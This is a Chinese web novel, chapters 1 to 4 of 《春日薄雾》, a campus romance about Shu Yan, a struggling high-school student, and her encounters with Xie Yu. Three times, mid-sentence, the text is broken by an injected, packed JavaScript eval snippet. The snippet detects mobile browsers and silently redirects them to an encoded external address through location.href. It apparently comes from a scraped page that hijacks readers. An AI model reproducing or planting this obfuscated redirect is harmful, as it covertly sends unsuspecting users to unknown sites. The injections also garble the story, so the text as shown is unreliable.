《春日薄雾》 1. 第1章 故事开始于2012年的三月。 今天是周五，高一3班下午最后一节课是体育课。 上完这节课，就迎来了学生们盼望的两个月一次的双休。 体育课上，体育老师周华组织学生一起做了热身运动，然后又交待了一些注意事项，就让他们自由活动了。 学校提供了很多体育器材，学生都可以随便借用，只要下课后还回来就行。 蔡妙妙和班上同学约了一起打羽毛球。 球拍有限，先到先得。 体育老师一说解散，她就迫不及待地跑过去借器材了。 舒言今天刚好撞上生理期第一天，肚子有点不舒服，就站在原地等她。 她本来打算坐在旁边的椅子上看他们打羽毛球的，但是突然想起下周要印发的校报还没排版，想着干脆这节体育课上去弄一下。 借到球拍后，蔡妙妙一脸欣喜地朝她跑了过来。 “言言，走吧，我们一起过去。” 舒言和蔡妙妙说了自己的打算。 蔡妙妙不放心地看了她一眼，“你确定你可以吗？要不直接回教室休息吧。” 舒言摇摇头，“没事的，我其实还好，而且也只是排个版，花不了多久时间的。” 蔡妙妙:“那好吧。你千万别逞强哦，不舒服就回教室休息。” 舒言点头说好。 …… 舒言从小就喜欢写作，所以她一进高中就加入了学校的校报社。 校报社现在的社长是高二的一个学姐，本来是由她来负责校报的排版，但是高二的学业日渐繁忙，所以这学期开始就交给了他们高一的来做。 校报社的活动室是在行政楼一楼的会议室，里面有一台电脑可以供他们使用。 舒言用钥匙打开门走了进去，打开电脑后，她再次核对了下期要在校报上发表的文章。 这些文章有些是从文学杂志上转载的，但更多的是学校学生的投稿。 学校对投稿的学生也有一定的稿费奖励，以此来鼓励学生们积极创作。 不管是散文，诗歌，随笔还是读后感，只要投稿都有机会发表。 每期要发表的文章先由校报社的成员初步筛选，然后会上交给专门负责的语文老师，才能确定留用的文章。 这节课剩下的时间里，舒言都在认真排版，很快一节课就过去了。 不过好在她这周的任务也顺利完成了。 等她离开行政楼，就看见很多高一的学生已经迫不及待地往校门的方向跑去。 这会儿又正好碰上高二和高三的学生下课吃饭，所以人.流量比较大，舒言只能选择绕路从教学楼背面回教室。 她走的这条小路比较偏僻，因为距离比较远又很窄，所以平时走的人不多。 小路的尽头是一个长廊，每年快到夏天的时候，长廊的上方都会开满美丽的紫藤萝。 长廊两侧的水泥台子上不知道什么时候长了青苔，上午刚下过雨，迎面扑来泥土混着青草的气味，不过倒也说不上难闻。 高一3班的教室在智学楼的五楼，她正要继续爬楼，校服口袋里的手机突然震动了几下。 她是走读生，为了方便联系，所以陈岚给了她一个自己用得已经掉漆的按键手机。 舒言拿出手机，来电显示正是她的妈妈陈岚。 她抿了下唇，脑海里飞快闪过这几天在家里的不愉快，最终还是按下了接听键。 电话里传来陈岚埋怨的语气，“怎么现在才接电话。” 舒言声音低低的，“才下课。” 陈岚不容置疑的声音在她耳边响起，“这周我和你弟弟回外婆家了，你爸也不在家，你自己一个人在家要好好学习……” “我看了这次月考的成绩，你这次怎么又是年级四百多名，一点进步都没有，我都不知道你平时在学校干什么。” 陈岚重重地叹了一口气，颇有些恨铁不成钢的意味，“你说说你这孩子，明明初中的时候成绩还算不错的，怎么一到高中就不行了呢，肯定是自己不用功，下学期就高二了，现在这个成绩怎么可能考得上好的大学……” 舒言安静听着，脚下心不在焉地迈着步子。 许是没有听见她的回答，陈岚心里越发生气，语气也越来越重，“舒言，你到底在听我说没有。” 说完也不等她回答，又是一顿输出:“这两天我和你爸商量了一下，为了让你能够有一个好的学习环境，我们一致决定让你从下周开始住校。” “本来早就该让你住校的，你每天起得早回来得又晚，经常都会把你弟弟吵醒，他还小，正是长身体的时候，需要足够的睡眠，长期睡不好肯定不行……我已经和你班主任说过了，下周一提交住校申请就可以了……” 陈岚还在说些什么，舒言已经听不见了。 她吸了下鼻子，伸手一摸，脸上全是眼泪。 小腹又开始隐隐作痛。 她有些无助地跌坐在楼梯的转角处，蜷缩成小小一团，头埋在膝盖上轻声啜泣。 到底是从什么时候开始变成这样的。 她和爸妈之间的话题永远都是她的成绩。 初中时，舒言成绩优异，没有参加中考就以优异的成绩保送到南港最好的一所重点高中。 而她所在的班级也是名副其实的尖子班。 第一次月考成绩下来，舒言的成绩就不太理想，年级五百多名，在班上自然是倒数。 这可把舒坤和陈岚吓坏了，不过一次考试确实也不太能说明什么。 他们也只当她只是一时没有适应，但没想到在接下来的几次考试中她的成绩依旧没有任何气色。 陈岚他们也由一开始鼓励关心渐渐失去了耐心，隔三差五的就要抱怨她的成绩。 也是这个时候舒言才明白过来—— 不优秀的她，原来并不能得到父母的喜欢。 高一上学期结束后，舒坤和陈岚就很少过问她的成绩了，只是每每提到这事，舒言只觉得压抑烦闷。 她自己也不知道怎么回事，上了高中以后，在课堂上她就老是出神发呆，注意力完全不能集中，成绩自然也就慢慢落下了。 她也不是没有努力过，但是成绩依旧没有起色。 舒言哭得很伤心，发出的声音却很小。 她能感觉到周围偶尔有人经过，不过好在这栋教学楼只有高一的学生，这会儿大家都忙着回家，所以停留的时间很短。 她开始庆幸自己选择绕路回来，不然要是撞上认识的同学，好像确实也挺丢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236189|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的。 周围静悄悄的，只有微风吹响树叶的声音。 全世界好像只有她这么难过。 等心情平复后，舒言扶着墙想站起来，没想到突然脚下突然一麻，重重地摔在了台阶上。 手直接被磕破了皮不说，膝盖更是疼得不行。 她没忍住发出了点声。 好巧不巧的是，在她十分狼狈之际，楼梯上方正好传来一阵急促的脚步声。 有人下来了。 舒言还没来得及从台阶上爬起来，脚步声忽然戛然而止。 她下意识地抬起头。 一双黑色板鞋停在两节楼梯之间的平台上。 紧接着闯入视线的是熟悉的黑白色校服。 再往上是一张清俊帅气的陌生脸庞。 舒言莫名松了口气。 下一秒，又觉得有些难堪。 男生显然是注意到了她。 舒言本以为他会直接离开，没想到一只修长好看的手出现在她面前，“需要帮忙吗？” 男生的声线干净清冷，异常的好听。 舒言眼睫轻颤，鼻尖忽的嗅到一股清冽的草木香。 男生还在等待着她的回答。 舒言摇摇头，怕他看不见，又说：“不用了，谢谢你。” 见她拒绝，男生也没着急走，目光反而一直落在她身上，好像今天非做这个好人好事不可。 舒言叹了口气，试着慢慢从台阶上爬了起来。 见她顺利站稳后，男生似乎这才满意了。 视线落在她流血的手指上，取下肩上的吉他包，拉开拉链，在里面翻找。 很快，一包心相印的纸巾被塞到她另一只手上。 “擦一擦，下次走路记得看路。” 留下这句话，男生便快步下楼离开了。 她甚至没来得及说出“谢谢”这两个字。 舒言看着手上的纸巾，这才发现自己原来流血了。 …… 周末两天的时间转瞬即逝。 周一上午陈岚就把住宿的东西给她送到了学校。 因为她是中途住校，班上同学所在的寝室已经住满了，所以她只能住到其他班的宿舍。 得知舒言要住校的消息，蔡妙妙转过来有些惊讶地看着她，“怎么突然想起要住校了啊……” 舒言被她问得愣了一下，只说是想要节省每天上下学的时间好好学习。 说完便低下头继续整理数学卷子上的错题。 蔡妙妙一直都是走读生，她觉得每天上下学也花不了多少时间啊，而且在家里能休息得更好不是吗…… 蔡妙妙摇了摇舒言的胳膊，“言言，你真的想住校吗？我听说班上同学说，室友关系也是一大难题啊，要是碰到的室友人不错那还好，要是碰到的室友不行，真的很难搞啊……” “而且你还是要去和其他班的女生一起住，真的没问题吗？” 舒言放下笔，安抚地笑了笑，“你放心，反正我每天也只是晚上回宿舍睡觉而已，白天也不会怎么待在宿舍，应该也还好吧……” 说实话她自己也有些不确定，万一碰上的室友和自己合不来，她要怎么办。 只是对现在的她而言，或许住校是更好的选择。 2. 第2章 晚自习结束后，舒言快速整理好了自己要用的东西。 她还要早点回宿舍收拾床铺。 住宿不比住在家里自由，有固定的作息时间。 高一年级三晚下课的时间是十点，熄灯时间是十点四十，时间还是比较紧的。 回宿舍的路舒言这才第二次走，脚下的步子却异常的轻快。 她甚至有点期待自己即将开启的宿舍生活。 她的宿舍门牌号是312，等她回去的时候，宿舍里已经有人了。 听见声音，许漫像条灵活的泥鳅从阳台窜了出来，脸上带着耀眼的笑容，好奇地盯着她看。 “哈喽，欢迎我的新室友，我叫许漫，你叫什么名字啊？” 舒言被她的热情感染，也不自觉地笑了笑，“我叫舒言。” 许漫今天中午回宿舍就听宿管阿姨说她们宿舍来了个新室友，所以今天一下课她就飞奔回宿舍了。 许漫毫不掩饰地打量着舒言，我滴个乖乖，也没人告诉她自己的新室友是个大美女啊。 瓜子脸，细弯眉，杏眼，皮肤更是白白嫩嫩，让人恨不得上手摸一把。 舒言的长相不属于那种很张扬，而是那种看上去很舒服，温柔内敛而坚韧的美。 “你好漂亮啊，嘻嘻，和美女做室友真开心。”许漫眼睛亮晶晶的，毫不吝啬地赞美。 “谢谢，你也很好看。”舒言说的倒也不是假话，许漫的确也是一个美女。 宿舍是六人间的上下铺，唯一一个空床位在上铺。 许漫很热情地提出帮助，“我帮你一起铺床吧。” 舒言没有拒绝她的好意。 在许漫的帮助下，舒言的床铺很快就整理好了。 陆陆续续的，其他室友也都回来了。 大家一一打过招呼就各自洗漱了。 熄灯前舒言就躺在了床上，她习惯睡觉前看会书。 熄灯后大家短暂的安静了一会儿，舒言就听见下铺的鹿铃儿小声地问：“你们都睡得着吗？” 她不说话还好，一出声像是点了大家的穴，一下子都清醒了。 这是舒言第一次住校，在陌生的环境下，她确实一时半会也睡不着。 许漫干脆从床上坐了起来，打开了自己的台灯。 她有些兴奋，但还是压着声音：“睡不着啊睡不着，我们来聊聊天吧。” 鹿铃儿当然是举双手双脚赞成。 听见室友翻身的动静，知道她们应该都还没睡，许漫又隔空问对面的舒言:“舒言，你睡着了吗？” 舒言回道：“还没呢。” 许漫笑了起来，“那就好，还怕吵到你休息了呢。” 舒言也起来开了自己的台灯，她拿出枕边的书打算继续看，“没事的，我还不困，你们聊吧。” 室友们你一句我一句的说着，十分地欢快，舒言偶尔也会插几句。 女生宿舍的夜谈也无非是那几个话题，聊同学，聊老师，聊自己喜欢的人……顺便吐槽一下自己讨厌的人，而且大多数时候还会获得共鸣。 舒言第一次经历这种夜谈，也觉得十分有趣。 除了她以外，其他室友都是高一8班的，所以大家也很有共同话题。 不知道想到什么，鹿铃儿突然眉飞色舞得地说道：“我听说17班有个大帅哥，听他们说超级帅，你们知道吗？” 紧接着就有其他室友附和道：“对对对，我也听说了，好像是这学期才转来的。” “真好奇到底有多帅啊，要不改天一起去17班看看吧……” “哈哈哈，好啊好啊，看帅哥这种事必须有我。” 许漫对看帅哥这种事不管兴趣，她还是对她家林菲今年5月份要开演唱会的事情比较感兴趣。 “啊，好想去听林菲的演唱会啊，可惜上学期期末没考好，我爸妈肯定不准我去。” 而且林菲的演唱会门票也不是随随便便就能抢到的。 舒言听见林菲两个字时愣了下，没想到室友里还有人和自己一样喜欢林菲。 她说：“我也喜欢林菲。” “啊啊啊……”听见她的话，许漫很是激动，好像遇到了知音一样，她刚想说什么，宿舍外就传来宿管阿姨暴躁的声音。 “312吵什么吵，熄灯睡觉。” 闻言，大家也不敢继续说什么了，默默关灯躺在了床上。 本以为会睡不着，没想到舒言很快就迷迷糊糊的睡过去了。 …… 第二天早读结束后，课代表们就急匆匆地开始收作业。 等交完所有作业，蔡妙妙就迫不及待地转过身和舒言说话。 “言言，怎么样，还适应吗？昨晚睡着没有。” 同桌陈质也投来好奇的目光。 舒言：“还不错。” 起码比她想象中要好，本来以为突然换了陌生环境会睡不着，但没想到好像比在家里还要休息得更好。 在宿舍她不用那么的小心翼翼，不怕起床时不小心吵醒弟弟，不怕突然听见陈岚责怪抱怨的话语…… 蔡妙妙：“那就好。”她刚想说什么，抬手推了下一旁的陈质，“你快睡吧，我们女生说话，你别偷听。” 陈质撇了撇嘴，移开目光，“呵，谁稀罕。”说完便埋头睡下。 结果下一秒上课铃声就响了，他蹭的从桌上起来，满脸都写满了幽怨。 想刀人的眼神藏也藏不住。 倒是把蔡妙妙给逗乐了。 舒言也没忍住弯了弯唇。 第一节课是班主任冉华容老师的课，今年四十多岁的她今天穿了一件白底蓝花的旗袍，外搭白色披肩，踩着高跟鞋身姿优雅地走进了教室。 “同学们，先通知一件事，下周一开始要举办高一年级的男子篮球赛，需要5个人上场，还需要几个替补，总之大家到体育委员王远那踊跃报名。” 冉华容一直强调德智体美劳全面发展，所以经常鼓励班上的同学积极参加学校组织的活动。 要举办篮球赛的消息一出，班上的男生抑制不住的兴奋。 一下课，王远座位前就围了好多报名的人。 上午最后一节课是英语老师的，放学时被她拖了几分钟堂，美名其曰帮他们错峰出行。 此举自然是引起了一众学生的不满和吐槽。 蔡妙妙嫌弃学校食堂不够好吃，决定和班上同学一起约着出去吃。 舒言现在不是走读生了，没法自由出入学校，只能去学校的食堂吃。 南港中学一共有5个食堂，其中三食堂和五食堂最受欢迎。 舒言不打算去人很多的食堂，所以她选择了一食堂。 快到食堂的时候，她隐隐听见身后有人在叫自己。 回头一看，原来是许漫。 许漫很自然地走过来挽住她，“你也去一食堂吃饭吗？走吧，一起一起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236190|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “正愁没人一起呢，结果就看见你了。” “你怎么这么晚才来吃饭。” 舒言解释说是老师拖了一会儿堂。 “哦，难怪。”许漫了然地点头，“不过这会儿人会少一些，我跟你说一食堂的糖醋排骨很好吃的。” 说着就拉着舒言去人最少的队伍排队。 一食堂的糖醋排骨格外受欢迎，不过她们今天很幸运，排到她们的时候刚好剩下两份。 “真好吃啊。”许漫发出一声满足地喟叹。 “对了，舒言，你也喜欢林菲的歌吗？” 舒言点点头，她平时偶尔会听。 林菲是国内的著名女歌手，在华语乐坛是天后级别的存在，小烟嗓加上她空灵的唱法，让她的歌声很是独特。 “哇，真好啊。”许漫激动地握住了舒言的手，“我真的超级喜欢林菲，我的MP3里面全是她的歌，我待会给你听。” “好。” “你最喜欢她的哪首歌？” “其实都挺喜欢的，不过最近特别喜欢她的那首《我想》。” “啊啊啊，我也是，不过她的其他歌我也喜欢。” 因为有着共同喜欢的歌手，所以两人的距离一下就拉近了很多。 吃完饭后，许漫让舒言陪着她去小卖部。 舒言没什么想吃的，倒是想在距离小卖部几百米的报亭去买本作文书。 于是两人约好待会在小卖部门口碰面。 舒言很快就挑好了作文书，等过去的时候看见许漫正在和两个高高瘦瘦的男生说话。 “舒言，快过来。”许漫余光瞥见了她，朝她招手。 舒言应了声好，却撞上一双漂亮深邃的眼睛。 舒言愣了下，一眼就认出来这是上周五自己摔倒时给自己递纸巾的男生。 没想到会这么巧。 她的记性很好，而且他的长相，实在不是让人过目即忘的那种。 就连这身饱受吐槽的校服也被他穿出了不一样的感觉，像是为他量身定制一样，显得肩背削薄挺直，整个人清瘦又高挑。 等站在他们面前，舒言没忍住又仰首看了男生一眼。 单从外表来看，男生绝对是那种给人距离感的长相，周身气质冷淡矜贵，一看就不好接近和糊弄。 可此刻他的嘴角噙着淡淡笑意，眉梢微吊，桃花眼的外眼角带着点弧度，倒是多了几分随性和慵懒。 舒言第一次觉得有男生长得有些……勾人。 虽然她不知道这么形容一个男生合不合适。 许漫和她介绍：“舒言，这是我的两个小学同学，他们在搞乐队呢，以后咱们可以去听他们唱歌……” 谢玙的目光和她的对上，意外地没有拒绝，淡声道：“欢迎。” 何昭一看是个美女，自然是十分愿意的，“我叫何昭，他叫谢玙，我们都是17班的，后面欢迎来找我们玩啊。” 舒言有些不自在地笑笑，低声应了句好。 又聊了几句，许漫说：“我们要回宿舍休息了，下次一起玩。” 谢玙轻嗯了一声，他们也还要去练歌。 等回到宿舍，舒言这才想起，自己又忘了和他说声谢谢。 以后应该还有机会吧。 她拉开抽屉，那包心相印纸巾还完好的躺着里面。 原来他叫谢yu。 是怀瑾握瑜的那个瑜吗？ 3. 第3章 上期的校报在周三已经顺利印发，走在路上经常都会看到拿着校报阅读的学生。 校报每月印发一次，下次印发是在第二次月考之后。 这周在食堂见到校报社长时，学姐告诉她这学期快到期末的时候，会在现有的社团成员里选拔下一届的社长。 学姐说她如果有意愿的话，这学期就尽可能地多参与校报的事务，给负责校报社的老师留个好印象。 舒言心里自然是想要试一试的，写作本来就是她最大的兴趣爱好，而校报社给了她更多展示自己的机会。 上学期她在校报上投了几次稿，全都被留用了。 她用获得的稿费又给自己买了几本教辅。 校报社的氛围也很好，她是真心喜欢和一群志同道合的同学待在一起讨论写作。 一周的时间很快过去，周末舒言回了家。 或许是因为在家的时间变少了，陈岚看见她的时候，意外地没像往常一样和她唠叨，反而关切了几句她住校的情况。 周末返校的时候，陈岚又叮嘱了几句：“你这个年纪在学校一定要认真的学习，别的事情少参加。” “还有……”她脸上的嫌恶不加掩饰，“上次我在你们学校周围看到有几个男生女生手拉手，凑得很近，一看就是早恋了。” “我跟你说，舒言，你可不要像他们一样，绝对不能早恋，你现在的任务只有好好学习，将来考个985，211大学……” 陈岚絮絮叨叨的声音听得舒言有些头疼，她弯腰把拖鞋放进鞋柜，闷声道：“我知道了。我先去学校学习了。” 陈岚听见她的回应，这才满意地笑了笑，她拉起怀里儿子的小手，“小溪，快和姐姐说拜拜。” 舒连溪今年才不到四岁，说话还奶声奶气的，他挥着肉肉的小手，口齿不清，“姐……姐，拜……拜。” 舒言回过头捏了捏他胖嘟嘟的脸蛋，“拜拜。” …… 周一的语文课结束后，冉华容宣布了他们班第一场篮球比赛的时间和对手。 时间定在了周三下午的五点五十。 他们班第一场的对手抽到了高一17班。 听到是17班，王远直接松了一口气，“17班啊，那没事了，我上学期就经常和他们班一起打篮球，他们班实力一般般吧。” 唐临也附和道：“对啊，他们班很菜的，菜得一批，绝对直接就把他们班干趴下。” 话音一落，引起班上不少同学哈哈大笑。 冉华容神色严肃，提醒他们：“同学们，万万不可轻敌。” 王远笑眯眯地说：“冉老师，您放心，我今天就去打听清楚他们班哪些人上场，趁早做好准备。” 冉华容这才点了点头，“这两天你们也抓紧时间教练，体育课上也可以让体育老师指导一下。” 下课后大部分同学都在讨论篮球赛，其实比赛今天就已经开始了，很多同学还约了下午一起去看呢。 蔡妙妙转过来支着下巴看着舒言的同桌陈质，“陈质，你也要上场吗？” 陈质推了推鼻梁上的镜框，“那当然了，到时候看小爷我在场上大显身手。” 蔡妙妙显然是对他不抱希望的，上下打量着他，“就你这瘦弱的小身板。” 他瘦弱的小身板？！ 高一入学的体测他都178.5了好不好。 现在肯定长得更高了。 陈质不服气地向她展示自己的肱二头肌，“看到没有，我可是有肌肉的。” 不知道想到什么，蔡妙妙笑嘻嘻地盯着他看，“有腹肌吗？能给看不。” 陈质被她大胆的话噎住了，脸刷的就红了，有些不自然地看向舒言的方向。 少女温柔美好的侧脸落入他的眼眸，她正低着头在做数学题，也不知道她听见没有…… 陈质试图让自己平静下来，“不是，蔡妙妙，你一个女生，张口就是腹肌，羞不羞啊。” 蔡妙妙直接给了他一个白眼，“那你们男生呢，不也讨论女孩子的胸吗？” 陈质：“……” 半响才憋出一句，“我没有，那是他们。” 见她明显不信，陈质着急继续解释，声音有些委屈，“我真没有，我没有他们那么龌龊。” 蔡妙妙懒得和他争论，她敲了敲舒言的数学练习册，“言言，今天下午要一起去看其他班的篮球赛吗？” 舒言停下笔认真思考了几秒，“今天应该可以看一会儿。” 蔡妙妙：“好啊好啊，那我们下午去食堂回来的路上去看吧，看一会儿就回来学习。” 舒言自然没有什么意见。 最近她感觉自己的学习状态好了一些，心情也没有那么浮躁了。 以前心情不好的时候她总喜欢写日记，上周她写日记的次数明显少了。 还有两周多就要迎来第二次月考了，她不能掉以轻心。 舒言很清楚自己的优势和劣势是什么。 她的语文、英语还有化学一直都是她的强势学科。 数学勉勉强强，生物一般，物理是她最差的学科。 上学期她的物理分数都只有50多分的水平，绝对是她的弱势学科。 舒言的学习计划也很明确，她要在稳定优势学科的前提下，尽可能多花时间去提高自己的数学和物理。 高中的数学和物理难度明显比初中不知道高了多少，提起来也不是一时半会的事情，只能通过长期的努力。 但是舒言相信肯定会慢慢好起来的。 …… 时间很快来到了周三下午。 班上所有的同学都被冉华容拉到了操场给班级加油，连班上的大学霸李嘉也不例外。 只是看到李嘉从校服口袋里掏出试卷和笔的时候，舒言还是忍不住在心里佩服他。 李嘉是他们班的第一名，成绩一直在年级前10，是当之无愧的学霸。 只不过李嘉的想法没有得以实施，冉华容满脸笑容却也毫不留情地收走了他手上的东西。 顺便委婉地提点了他几句，“李嘉啊，爱学习是好事，但是也不能只学习啊是不是，这个时候还是要有班级的集体荣誉感啊，你说我说的对不对……” 李嘉没反驳她，只是等冉华容走远后，他就从口袋里掏出了另外一张试卷。 目睹全程的舒言和蔡妙妙对视一眼，实在没忍住笑了笑。 只能说有些人之所以能当学霸，绝对是有原因的。 比赛很快就要开始，两个班的球员上场前要先在裁判处集合签到。 此刻篮球场周末除了他们的同学外，还有很多陌生面孔，应该是17班。 17班。 舒言眼睫轻颤，脑海里忽然浮现一张有些模糊的脸庞。 在她分神之际，身侧传来一道低沉又莫名熟悉的男声。 “借过，谢谢。” 舒言下意识地抬起头，刚才模糊的画面瞬间变得清晰起来。 男生优越的侧脸猝不及防地闯入她的视线。 谢玙穿着红色的球衣，手上抱着个篮球正垂眸盯着她看。 舒言赶紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236191|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧身避让，只是人比较多，所以男生经过的时候，手臂还是无法避免的碰到了她一下。 轻轻的，皮肤摩擦布料的声音，有一种很微妙的感觉。 等男生走远了，蔡妙妙才敢偏过头大声和她讨论。 “我的天，刚才过去的那个男生是17班的吗？长得好帅。” 周围也有其他女生在窃窃私语，但隐约可以听见什么“很帅”“没见过”“幸好今天来了”之类的字眼。 谢玙跑过去和班里的同学集合，他把球扔何昭怀里，“抱歉，我来晚了。” 班上的男生打趣了他几句，“没事，我们都理解的，帅哥嘛都是压轴出场的。” “这阿玙一来，咱们赢的几率起码多了一半，至少先在人气上赢过三班。” 还有男生把手搭在谢玙肩上，“刚才你过来的时候我们可都看到了，你小子，是不是故意从那边过来的啊。” “就是就是……” 谢玙只笑了笑，也没接他们的话。 一旁沉默不语的陶续不屑地撇嘴，冷不丁说了句：“球场上从来都是靠实力说话。” 他有些挑衅地看向谢玙，“你说呢，谢—同—学。” 话音刚落，气氛立马变得有些尴尬。 班上同学对于他们俩的不对付已经见怪不怪的，也不知道两人之前有什么嫌疑，这学期开学第一天就互相看不顺眼。 体委见状赶紧打圆场，“哈哈哈，比赛第二，友谊第一，咱们今天是一个集体。”说着他伸出一只手，“一起为17班赢得比赛。” 其他人也伸出手覆在上面。 谢玙自始至终脸上都没什么情绪。 但陶续就是看不惯他这幅好像无欲无求的样子。 他和他那个妈一样，都是不要脸的东西。 等裁判核实后，双方就回到了各自的场地。 口哨声一响，比赛就开始了。 比赛伊始，双方都采取了猛烈的攻势。 但是很明显17班的配合要更好一些，比赛没几分钟就拿下了三分。 舒言听见班上的同学在讨论，“17班的7号也太强了，明显是他们班的主力。” “对啊，他好厉害啊，王远他们根本防不住他的进攻。” 班上同学自发为班级加油，“3班——加油，3班——雄起。” “王远——加油，王远——加油。” 对面17班的拉啦队自然也不甘示弱，“17班——加油，17班——加油。” “谢玙——加油，谢玙——加油。” 蔡妙妙手捏着下巴咂嘴，“情况不妙啊，没想到那个帅哥在球场上居然这么猛。” “长得又高又帅就算了，篮球还打得这么好，这不妥妥的小说男主嘛……” 同学们口中很厉害的7号正是谢玙。 舒言的目光不自觉地追随他赛场上矫健灵活的身影。 运球，假动作，跳跃，投篮，又是一个漂亮的三分球。 篮球场外响起一阵不可思议的惊呼。 有人甚至自发地鼓起了掌。 舒言的视线落在少年清瘦的背脊上，汗水浸湿了的球衣紧紧贴在上面，显现出优美流畅的背部线条。 球衣的背面印了一个大大的数字“7”，下面是他名字的缩写“XY”。 舒言在心里默念了一遍他的名字。 傍晚的风带着几丝凉意，吹乱了少女耳侧的碎发，却吹不散空气中若有似无的燥热。 这场几乎没有悬念的比赛却在下半场出现了一个意外。 4. 第4章 谁都能看得出来此刻球场上的情况不太对劲。 每次17班的7号拿到球以后，都会被他们本班的3号“不小心”撞一下。 两人不像是队友，更像是仇人一样。 好几次都是因为3号“不小心”的举动，让他们班在球场上失去了主动权。 不过3号莫名其妙的“助攻”倒是帮他们班拿到了两分。 舒言听见班上的同学在小声讨论。 “怎么回事啊，17班怎么自己起内讧了。” “对啊，好离谱，这两人怕是有什么矛盾吧。” “哈哈哈，这个3号怕不是咱们班派过去的卧底吧。” “本来都觉得要输了，但是看来咱们还有机会。” “……” 舒言心里自然也是希望自己的班级能赢的。 只是在看见赛场上那抹红色身影时，心里还是有几分担忧。 他……还好吗。 刚才被撞的那几下看上去力道似乎都不轻。 裁判老师自然也发现了不对劲，吹响哨声的那个瞬间，舒言听见周围有人在惊呼。 “小心！” 一个篮球跨越了大半个球场，正往她所在的方向飞来，速度快到她根本来不及做出反应。 还是有人眼疾手快的把她往旁边拉了一把，她才没有被篮球砸到。 “怎么样，你没被砸到吧……” 等站稳后，陈质一脸担忧地低头询问。 周围的同学也关切地看向她。 舒言脸色泛白，心底还是有些后怕，她摇摇头，又说：“没有，刚才谢谢你。” 听见她说没事，陈质松了一口气：“不用谢，你人没事就好。” 这时，一道喘着气的男声突然插了进来，“你……没事吧？” 谢玙神色紧张地停在他们面前，额上薄汗明显，一双琥珀色的眼眸紧盯着她。 陈质很生气地挡在舒言面前，大声指责道：“不是，你们班怎么打球的，会不会打球啊，把球随便往场外扔。” “这场外都是老师和同学，要是砸到人了怎么办，你们付得起责吗？” 谢玙抿抿唇，任由脸上的汗滑过他高挺的鼻梁，然后低落在锁骨处。 他语气十分诚恳：“对不起。” “球不是我扔过来的，但是人我会帮你教训的。” 刚才在场上陶续就故意挤他、撞他，这些他都忍了。 在裁判喊停的时候，陶续更是不管不顾地把球往球场外扔。 谢玙完全来不及阻止。 但是他心里清楚，陶续之所以这么做，都是因为他。 谢玙低垂着眼眸：“抱歉，不会再出现这种事了，我会让他过来给你道歉的。” 舒言从陈质身后出来，她抬头看向谢玙，浓密的长睫颤了颤，“我没事的。” 想到刚才的惊心动魄，又没忍住补充了一句，“你……注意安全。” 像是对她的关心有些意外，谢玙有一瞬间的征愣，不过还是很快反应了过来，“好。” 他捡起地上的球，又抹了一把额上的汗水，“那我先过去了。” 等谢玙走远后，陈质眼底浮现几分复杂的神色，他试探着问：“你们认识吗？” 闻言，舒言倒是愣了一下，“也谈不上……认识吧。” 其实舒言都不确定他还记不记得自己，刚才那句提醒也只是因为那次他递给自己纸巾，她心里一直很感激他而已。 陈质轻“嗯”了一声，也没继续问。 他叹了一口气，又变回吊儿郎当的语气，“还好下半场我没上场，不然就凭你这个反应速度，现在说不定都躺在医务室里了……” 舒言正要接话，蔡妙妙突然火急火燎地冲过来抱住了她，“言言，你没事吧，我听说你刚才差点被篮球砸到了。” 她刚才去上厕所了，没想到才离开了这么一会儿，就发生了这种事。 舒言：“我没事，陈质拉了我一把。” “呜呜呜，那就好。”蔡妙妙握拳打了一下陈质的手臂，“陈少爷，你也是终于有点用处了……” 陈质没来得及躲开她的攻击，吃痛着说：“蔡妙妙，你把话说清楚，什么叫我终于有点作用了？” 蔡妙妙：“难道不是吗？” 眼看两人又要开启小学鸡式斗嘴，还好班主任冉华容走了过来。 她过来拍拍舒言肩膀，“舒言，你刚才肯定被吓到了吧。” 舒言不好意思笑笑，“确实是的，有点没反应过来。” 冉华容眯了眯眼，看向17班的方向，“他们班那两个男同学一看就有矛盾，都闹到赛场上了。” 她不赞同地说道：“这老雷也是心大，让这两孩子同时上场。” 而此时此刻，17班的班主任雷群也正在处理这件事。 他脸色十分难看，“陶续，谢玙，你们俩平时有什么矛盾我管不着，但是现在是在赛场上为班级争光，我不允许你们胡闹。” “尤其是你陶续，刚才比赛的时候你故意撞谢玙干什么，害我们班平白无故丢了几分。” 面对劈头盖脸的指责，陶续冷哼了一声，“这样的班级荣誉不要也罢，他根本不配和我一起上场。” 雷群被气得不轻，“行，那接下来的比赛你都别上场了。” 陶续满不在乎，“行啊，反正有我没他，有他没我。” 说完他俯身拿起地上的包，转身就要走。 没想到谢玙直接挡住他的去路，肩膀狠狠撞上了他，“去道歉。” 